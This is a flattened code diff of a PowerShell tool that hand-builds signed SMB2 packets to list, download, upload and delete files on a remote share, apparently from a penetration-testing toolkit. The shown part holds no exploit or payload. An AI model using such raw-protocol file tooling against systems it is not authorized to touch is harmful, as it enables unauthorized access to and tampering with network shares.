$packet_SMB2b_header["SMB2Header_Flags"] = 0x0c,0x00,0x00,0x00 - } - else - { - $packet_SMB2b_header["SMB2Header_Flags"] = 0x04,0x00,0x00,0x00 - } + } - $packet_SMB2b_data = Get-PacketSMB2QueryInfoRequest $query_info_request_info_type_2 $query_info_request_file_info_class_2 $query_info_request_output_buffer_length_2 $query_info_request_input_buffer_offset_2 $SMB_file_ID $query_info_request_buffer_2 - $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header - $SMB2b_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService ($SMB2_header.Length + $SMB2b_header.Length) ($SMB2_data.Length + $SMB2b_data.Length) - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + 'c0-00-00-34' + { - if($SMB_signing) - { - $SMB2_sign = $SMB2b_header + $SMB2b_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2b_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header - } + if($Action -eq 'Put') + { + $create_request_extra_info = 3 + $action_step++ + $stage = 'CreateRequest' + } + else + { + $output_message = "[-] File not found" + $stage = 'Exit' + } - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB2b_header + $SMB2b_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + } - if($share_subdirectory_start) - { - $SMB2_file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) - $root_directory = $SMB2_file + 0x5c,0x00 - $create_request_extra_info = 1 - $SMB_client_stage = 'CreateRequest' - } - elseif($Action -eq 'Get') - { + 'c0-00-00-ba' + { + + if($Action -eq 'Put') + { + $output_message = "[-] Destination filname must be specified" + $stage = 'CloseRequest' + } - switch($action_step) - { + } - 5 - { - $query_info_response = [System.BitConverter]::ToString($SMB_client_receive) - $query_info_response = $query_info_response -replace "-","" - $file_stream_size_index = $query_info_response.Substring(10).IndexOf("FE534D42") + 170 - $file_stream_size = [System.BitConverter]::ToUInt32($SMB_client_receive[($file_stream_size_index / 2)..($file_stream_size_index / 2 + 8)],0) - $file_stream_size_quotient = [Math]::Truncate($file_stream_size / 65536) - $file_stream_size_remainder = $file_stream_size % 65536 - $percent_complete = $file_stream_size_quotient - - if($file_stream_size_remainder -ne 0) + default { - $percent_complete++ + $error_code = $error_code -replace "-","" + $output_message = "[-] Create request error code 0x$error_code" + $stage = 'Exit' } - - if($file_stream_size -lt 1024) + + } + + } + elseif($Action -eq 'Delete' -and $action_step -eq 2) + { + $set_info_request_file_info_class = 0x01 + $set_info_request_info_level = 0x0d + $set_info_request_buffer = 0x01,0x00,0x00,0x00 + $file_ID = $client_receive[132..147] + $stage = 'SetInfoRequest' + } + elseif($Action -eq 'Get' -and $action_step -ne 1) + { + + switch($action_step) + { + + 0 { - $progress_file_size = "" + $file_stream_size + "B" + $file_ID = $client_receive[132..147] + $action_step++ + $stage = 'CloseRequest' } - elseif($file_stream_size -lt 1024000) + + 2 { - $progress_file_size = "" + ($file_stream_size / 1024).ToString('.00') + "KB" + + if($file_size -lt 4096) + { + $read_request_length = $file_size + } + else + { + $read_request_length = 4096 + } + + $read_request_offset = 0 + $file_ID = $client_receive[132..147] + $action_step++ + $stage = 'ReadRequest' } - else + + 4 { - $progress_file_size = "" + ($file_stream_size / 1024000).ToString('.00') + "MB" + $header_next_command = 0x68,0x00,0x00,0x00 + $query_info_request_info_type_1 = 0x01 + $query_info_request_file_info_class_1 = 0x07 + $query_info_request_output_buffer_length_1 = 0x00,0x10,0x00,0x00 + $query_info_request_input_buffer_offset_1 = 0x68,0x00 + $query_info_request_buffer_1 = 0 + $query_info_request_info_type_2 = 0x01 + $query_info_request_file_info_class_2 = 0x16 + $query_info_request_output_buffer_length_2 = 0x00,0x10,0x00,0x00 + $query_info_request_input_buffer_offset_2 = 0x68,0x00 + $query_info_request_buffer_2 = 0 + $file_ID = $client_receive[132..147] + $action_step++ + $stage = 'QueryInfoRequest' } - $header_next_command = 0x70,0x00,0x00,0x00 - $query_info_request_info_type_1 = 0x02 - $query_info_request_file_info_class_1 = 0x01 - $query_info_request_output_buffer_length_1 = 0x58,0x00,0x00,0x00 - $query_info_request_input_buffer_offset_1 = 0x00,0x00 - $query_info_request_buffer_1 = 8 - $query_info_request_info_type_2 = 0x02 - $query_info_request_file_info_class_2 = 0x05 - $query_info_request_output_buffer_length_2 = 0x50,0x00,0x00,0x00 - $query_info_request_input_buffer_offset_2 = 0x00,0x00 - $query_info_request_buffer_2 = 1 - $action_step++ - $SMB_client_stage = 'QueryInfoRequest' } - 6 + } + elseif($Action -eq 'Put') + { + + switch($action_step) { - if($file_stream_size -lt 65536) + 0 { - $read_request_length = $file_stream_size + + if($Action -eq 'Put') + { + $output_message = "Destination file exists" + $stage = 'CloseRequest' + } + } - else + + 1 { - $read_request_length = 65536 + $file_ID = $client_receive[132..147] + $action_step++ + $header_next_command = 0x70,0x00,0x00,0x00 + $query_info_request_info_type_1 = 0x02 + $query_info_request_file_info_class_1 = 0x01 + $query_info_request_output_buffer_length_1 = 0x58,0x00,0x00,0x00 + $query_info_request_input_buffer_offset_1 = 0x00,0x00 + $query_info_request_buffer_1 = 8 + $query_info_request_info_type_2 = 0x02 + $query_info_request_file_info_class_2 = 0x05 + $query_info_request_output_buffer_length_2 = 0x50,0x00,0x00,0x00 + $query_info_request_input_buffer_offset_2 = 0x00,0x00 + $query_info_request_buffer_2 = 1 + $stage = 'QueryInfoRequest' } - $read_request_offset = 0 - $read_request_step = 1 - $action_step++ - $SMB_client_stage = 'ReadRequest' } } - } - elseif($Action -eq 'Put') - { - $percent_complete = $source_file_size_quotient - - if($source_file_size_remainder -ne 0) + elseif($share_subdirectory_start) { - $percent_complete++ + $file_ID = $client_receive[132..147] + $stage = 'CloseRequest' } - - if($source_file_size -lt 1024) + elseif($directory_list.Count -gt 0 -or $action_step -eq 1) { - $progress_file_size = "" + $source_file_size + "B" - } - elseif($source_file_size -lt 1024000) - { - $progress_file_size = "" + ($source_file_size / 1024).ToString('.00') + "KB" + $stage = 'FindRequest' } else { - $progress_file_size = "" + ($source_file_size / 1024000).ToString('.00') + "MB" - } - - $action_step++ - $set_info_request_file_info_class = 0x01 - $set_info_request_info_level = 0x14 - $set_info_request_buffer = [System.BitConverter]::GetBytes($source_file_size) - $SMB_client_stage = 'SetInfoRequest' - } - elseif($Action -eq 'Delete') - { - $SMB_client_stage = 'CreateRequest' - } - else - { - $SMB_client_stage = 'CreateRequestFindRequest' - } - - } + $header_next_command = 0x70,0x00,0x00,0x00 + $query_info_request_info_type_1 = 0x02 + $query_info_request_file_info_class_1 = 0x01 + $query_info_request_output_buffer_length_1 = 0x58,0x00,0x00,0x00 + $query_info_request_input_buffer_offset_1 = 0x00,0x00 + $query_info_request_buffer_1 = 8 + $query_info_request_info_type_2 = 0x02 + $query_info_request_file_info_class_2 = 0x05 + $query_info_request_output_buffer_length_2 = 0x50,0x00,0x00,0x00 + $query_info_request_input_buffer_offset_2 = 0x00,0x00 + $query_info_request_buffer_2 = 1 + $file_ID = $client_receive[132..147] + $stage = 'QueryInfoRequest' + + if($share_subdirectory) + { + $share_subdirectory_start = $true + } - 'SetInfoRequest' - { - $SMB2_message_ID++ - $packet_SMB2_header = Get-PacketSMB2Header 0x11,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_ProcessID"] = $process_ID_bytes + } - if($SMB_signing) - { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 } - $packet_SMB2_data = Get-PacketSMB2SetInfoRequest $set_info_request_file_info_class $set_info_request_info_level $SMB_file_ID $set_info_request_buffer - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) + 'CreateRequestFindRequest' { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x05,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2CreateRequest $file 1 + $packet_SMB2_data["DesiredAccess"] = 0x81,0x00,0x10,0x00 + $packet_SMB2_data["ShareAccess"] = 0x07,0x00,0x00,0x00 $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - - if($source_file_size -le 65536) - { - $write_request_length = $source_file_size - } - else - { - $write_request_length = 65536 - } - - $write_request_offset = 0 - $write_request_step = 1 - - if($Action -eq 'Delete') - { - $output_message = "File deleted" - $SMB_client_stage = 'CloseRequest' - $action_step++ - } - elseif($Action -eq 'Put' -and $action_step -eq 4) - { - $output_message = "File uploaded" - $SMB_client_stage = 'CloseRequest' - } - else - { - $SMB_client_stage = 'WriteRequest' - } - - } - - 'CreateRequestFindRequest' - { - $SMB2_message_ID++ - $packet_SMB2_header = Get-PacketSMB2Header 0x05,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_ProcessID"] = $process_ID_bytes - - if($SMB_signing) - { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 - } - - $packet_SMB2_data = Get-PacketSMB2CreateRequest $SMB2_file 1 - $packet_SMB2_data["SMB2CreateRequest_DesiredAccess"] = 0x81,0x00,0x10,0x00 - $packet_SMB2_data["SMB2CreateRequest_ShareAccess"] = 0x07,0x00,0x00,0x00 - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_SMB2_header["SMB2Header_NextCommand"] = [System.BitConverter]::GetBytes($SMB2_header.Length + $SMB2_data.Length) - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_SMB2_header["NextCommand"] = [System.BitConverter]::GetBytes($SMB2_header.Length + $SMB2_data.Length) $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $SMB2_message_ID++ - $packet_SMB2b_header = Get-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2b_header["SMB2Header_ProcessID"] = $process_ID_bytes - $packet_SMB2b_header["SMB2Header_NextCommand"] = 0x68,0x00,0x00,0x00 - - if($SMB_signing) - { - $packet_SMB2b_header["SMB2Header_Flags"] = 0x0c,0x00,0x00,0x00 - } - else - { - $packet_SMB2b_header["SMB2Header_Flags"] = 0x04,0x00,0x00,0x00 - } - - $packet_SMB2b_data = Get-PacketSMB2FindRequestFile 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff 0x00,0x00,0x00,0x00,0x00,0x00 - $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header - $SMB2b_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_data + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - if($SMB_signing) - { - $SMB2_sign = $SMB2b_header + $SMB2b_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2b_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header - } - - $SMB2_message_ID++ - $packet_SMB2c_header = Get-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2c_header["SMB2Header_ProcessID"] = $process_ID_bytes - - if($SMB_signing) - { - $packet_SMB2c_header["SMB2Header_Flags"] = 0x0c,0x00,0x00,0x00 - } - else - { - $packet_SMB2c_header["SMB2Header_Flags"] = 0x04,0x00,0x00,0x00 - } - - $packet_SMB2c_data = Get-PacketSMB2FindRequestFile 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff - $packet_SMB2c_data["SMB2FindRequestFile_OutputBufferLength"] = 0x80,0x00,0x00,0x00 - $SMB2c_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2c_header - $SMB2c_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2c_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService ($SMB2_header.Length + $SMB2b_header.Length + $SMB2c_header.Length) ($SMB2_data.Length + $SMB2b_data.Length + $SMB2c_data.Length) - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2c_header + $SMB2c_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2c_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2c_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2c_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB2b_header + $SMB2b_data + $SMB2c_header + $SMB2c_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - - if($Action -eq 'Delete') - { - $SMB_client_stage = 'CreateRequest' - $SMB2_file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) - $action_step++ - } - else - { - $SMB_client_stage = 'ParseDirectoryContents' - } - - } - - 'ParseDirectoryContents' - { - $subdirectory_list = New-Object System.Collections.ArrayList - $create_response_file = [System.BitConverter]::ToString($SMB_client_receive) - $create_response_file = $create_response_file -replace "-","" - $directory_contents_mode_list = New-Object System.Collections.ArrayList - $directory_contents_create_time_list = New-Object System.Collections.ArrayList - $directory_contents_last_write_time_list = New-Object System.Collections.ArrayList - $directory_contents_length_list = New-Object System.Collections.ArrayList - $directory_contents_name_list = New-Object System.Collections.ArrayList - - if($directory_list.Count -gt 0) - { - $create_response_file_index = 152 - $directory_list.RemoveAt(0) > $null - } - else - { - $create_response_file_index = $create_response_file.Substring(10).IndexOf("FE534D42") + 154 - } - - do - { - $SMB_next_offset = [System.BitConverter]::ToUInt32($SMB_client_receive[($create_response_file_index / 2 + $SMB_offset)..($create_response_file_index / 2 + 3 + $SMB_offset)],0) - $SMB_file_length = [System.BitConverter]::ToUInt32($SMB_client_receive[($create_response_file_index / 2 + 40 + $SMB_offset)..($create_response_file_index / 2 + 47 + $SMB_offset)],0) - $SMB_file_attributes = [Convert]::ToString($SMB_client_receive[($create_response_file_index / 2 + 56 + $SMB_offset)],2).PadLeft(16,'0') - - if($SMB_file_length -eq 0) + if($SMB_signing) { - $SMB_file_length = $null + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } - if($SMB_file_attributes.Substring(11,1) -eq '1') + $message_ID++ + $packet_SMB2b_header = New-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB2b_header["NextCommand"] = 0x68,0x00,0x00,0x00 + + if($SMB_signing) { - $SMB_file_mode = "d" + $packet_SMB2b_header["Flags"] = 0x0c,0x00,0x00,0x00 } else { - $SMB_file_mode = "-" + $packet_SMB2b_header["Flags"] = 0x04,0x00,0x00,0x00 } - if($SMB_file_attributes.Substring(10,1) -eq '1') - { - $SMB_file_mode+= "a" - } - else + $packet_SMB2b_data = New-PacketSMB2FindRequestFile 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff 0x00,0x00,0x00,0x00,0x00,0x00 + $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header + $SMB2b_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_data + + if($SMB_signing) { - $SMB_file_mode+= "-" + $SMB2_sign = $SMB2b_header + $SMB2b_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2b_header["Signature"] = $SMB2_signature + $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header } - if($SMB_file_attributes.Substring(15,1) -eq '1') + $message_ID++ + $packet_SMB2c_header = New-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + + if($SMB_signing) { - $SMB_file_mode+= "r" + $packet_SMB2c_header["Flags"] = 0x0c,0x00,0x00,0x00 } else { - $SMB_file_mode+= "-" + $packet_SMB2c_header["Flags"] = 0x04,0x00,0x00,0x00 } - if($SMB_file_attributes.Substring(14,1) -eq '1') - { - $SMB_file_mode+= "h" - } - else + $packet_SMB2c_data = New-PacketSMB2FindRequestFile 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff + $packet_SMB2c_data["OutputBufferLength"] = 0x80,0x00,0x00,0x00 + $SMB2c_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2c_header + $SMB2c_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2c_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService ($SMB2_header.Length + $SMB2b_header.Length + $SMB2c_header.Length) ($SMB2_data.Length + $SMB2b_data.Length + $SMB2c_data.Length) + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) { - $SMB_file_mode+= "-" + $SMB2_sign = $SMB2c_header + $SMB2c_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2c_header["Signature"] = $SMB2_signature + $SMB2c_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2c_header } - if($SMB_file_attributes.Substring(13,1) -eq '1') + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB2b_header + $SMB2b_data + $SMB2c_header + $SMB2c_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + + if($Action -eq 'Delete') { - $SMB_file_mode+= "s" + $stage = 'CreateRequest' + $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) + $action_step++ } else { - $SMB_file_mode+= "-" + $stage = 'ParseDirectoryContents' + } + + } + + 'FindRequest' + { + $file_ID = $client_receive[132..147] + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB2_header["NextCommand"] = 0x68,0x00,0x00,0x00 + $packet_SMB2_data = New-PacketSMB2FindRequestFile $file_ID 0x00,0x00,0x00,0x00,0x00,0x00 + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } - $file_create_time = [Datetime]::FromFileTime([System.BitConverter]::ToInt64($SMB_client_receive[($create_response_file_index / 2 + 8 + $SMB_offset)..($create_response_file_index / 2 + 15 + $SMB_offset)],0)) - $file_create_time = Get-Date $file_create_time -format 'M/d/yyyy h:mm tt' - $file_last_write_time = [Datetime]::FromFileTime([System.BitConverter]::ToInt64($SMB_client_receive[($create_response_file_index / 2 + 24 + $SMB_offset)..($create_response_file_index / 2 + 31 + $SMB_offset)],0)) - $file_last_write_time = Get-Date $file_last_write_time -format 'M/d/yyyy h:mm tt' - $SMB_filename_length = [System.BitConverter]::ToUInt32($SMB_client_receive[($create_response_file_index / 2 + 60 + $SMB_offset)..($create_response_file_index / 2 + 63 + $SMB_offset)],0) - $SMB_filename_unicode = $SMB_client_receive[($create_response_file_index / 2 + 104 + $SMB_offset)..($create_response_file_index / 2 + 104 + $SMB_offset + $SMB_filename_length - 1)] - $SMB_filename = [System.BitConverter]::ToString($SMB_filename_unicode) - $SMB_filename = $SMB_filename -replace "-00","" + $message_ID++ + $packet_SMB2b_header = New-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - if($SMB_filename.Length -gt 2) + if($SMB_signing) { - $SMB_filename = $SMB_filename.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_filename_extract = New-Object System.String ($SMB_filename,0,$SMB_filename.Length) + $packet_SMB2b_header["Flags"] = 0x0c,0x00,0x00,0x00 } else { - $SMB_filename_extract = [String][Char][System.Convert]::ToInt16($SMB_filename,16) + $packet_SMB2b_header["Flags"] = 0x04,0x00,0x00,0x00 } - if(!$Modify) + $packet_SMB2b_data = New-PacketSMB2FindRequestFile $file_ID + $packet_SMB2b_data["OutputBufferLength"] = 0x80,0x00,0x00,0x00 + $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header + $SMB2b_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService ($SMB2_header.Length + $SMB2b_header.Length) ($SMB2_data.Length + $SMB2b_data.Length) + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) { - $file_last_write_time = $file_last_write_time.PadLeft(19,0) - [String]$SMB_file_length = $SMB_file_length - $SMB_file_length = $SMB_file_length.PadLeft(15,0) + $SMB2_sign = $SMB2b_header + $SMB2b_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2b_header["Signature"] = $SMB2_signature + $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header } - if($SMB_file_attributes.Substring(11,1) -eq '1') + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB2b_header + $SMB2b_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + + if($Action -eq 'Get' -and $action_step -eq 1) { + $find_response = [System.BitConverter]::ToString($client_receive) + $find_response = $find_response -replace "-","" + $file_unicode = [System.BitConverter]::ToString([System.Text.Encoding]::Unicode.GetBytes($source_file)) + $file_unicode = $file_unicode -replace "-","" + $file_size_index = $find_response.IndexOf($file_unicode) - 128 + $file_size = [System.BitConverter]::ToUInt32($client_receive[($file_size_index / 2)..($file_size_index / 2 + 7)],0) + $action_step++ + $create_request_extra_info = 1 + $stage = 'CreateRequest' - if($SMB_filename_extract -ne '.' -and $SMB_filename_extract -ne '..') + if($share_subdirectory -eq $file) { - $subdirectory_list.Add($SMB_filename_unicode) > $null - $directory_contents_name_list.Add($SMB_filename_extract) > $null - $directory_contents_mode_list.Add($SMB_file_mode) > $null - $directory_contents_length_list.Add($SMB_file_length) > $null - $directory_contents_last_write_time_list.Add($file_last_write_time) > $null - $directory_contents_create_time_list.Add($file_create_time) > $null + $file = [System.Text.Encoding]::Unicode.GetBytes($file) + } + else + { + $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) } } else { - $directory_contents_name_list.Add($SMB_filename_extract) > $null - $directory_contents_mode_list.Add($SMB_file_mode) > $null - $directory_contents_length_list.Add($SMB_file_length) > $null - $directory_contents_last_write_time_list.Add($file_last_write_time) > $null - $directory_contents_create_time_list.Add($file_create_time) > $null + $stage = 'ParseDirectoryContents' } - if($share_subdirectory -and !$share_subdirectory_start) - { - $root_directory_string = $share_subdirectory + '\' - } - - $SMB_offset += $SMB_next_offset } - until($SMB_next_offset -eq 0) - if($directory_contents_name_list) + 'IoctlRequest' { + $tree_ID = $client_receive[40..43] + $ioctl_path = "\" + $Target + "\" + $Share + $ioctl_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($ioctl_path) + 0x00,0x00 + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2IoctlRequest $ioctl_path_bytes + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - if($root_directory_string) - { - $file_directory = $target_share + "\" + $root_directory_string.Substring(0,$root_directory_string.Length - 1) - } - else + if($SMB_signing) { - $file_directory = $target_share + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $tree_ID = 0x00,0x00,0x00,0x00 + $stage = 'TreeConnect' } - $directory_contents_output = @() - $i = 0 - - ForEach($directory in $directory_contents_name_list) + 'Logoff' { - $directory_object = New-Object PSObject - Add-Member -InputObject $directory_object -MemberType NoteProperty -Name Name -Value ($file_directory + "\" + $directory_contents_name_list[$i]) - Add-Member -InputObject $directory_object -MemberType NoteProperty -Name Mode -Value $directory_contents_mode_list[$i] - Add-Member -InputObject $directory_object -MemberType NoteProperty -Name Length -Value $directory_contents_length_list[$i] + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x02,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2SessionLogoffRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - if($Modify) + if($SMB_signing) { - Add-Member -InputObject $directory_object -MemberType NoteProperty -Name CreateTime -Value $directory_contents_create_time_list[$i] + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } - Add-Member -InputObject $directory_object -MemberType NoteProperty -Name LastWriteTime -Value $directory_contents_last_write_time_list[$i] - $directory_contents_output += $directory_object - $i++ + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $stage = 'Exit' } - if($directory_contents_output -and !$Modify) + 'ParseDirectoryContents' { + $subdirectory_list = New-Object System.Collections.ArrayList + $create_response_file = [System.BitConverter]::ToString($client_receive) + $create_response_file = $create_response_file -replace "-","" + $directory_contents_mode_list = New-Object System.Collections.ArrayList + $directory_contents_create_time_list = New-Object System.Collections.ArrayList + $directory_contents_last_write_time_list = New-Object System.Collections.ArrayList + $directory_contents_length_list = New-Object System.Collections.ArrayList + $directory_contents_name_list = New-Object System.Collections.ArrayList - if($directory_contents_hide_headers) + if($directory_list.Count -gt 0) { - ($directory_contents_output | Format-Table -Property @{ Name="Mode"; Expression={$_.Mode }; Alignment="left"; }, - @{ Name="LastWriteTime"; Expression={$_.LastWriteTime }; Alignment="right"; }, - @{ Name="Length"; Expression={$_.Length }; Alignment="right"; }, - @{ Name="Name"; Expression={$_.Name }; Alignment="left"; } -AutoSize -HideTableHeaders 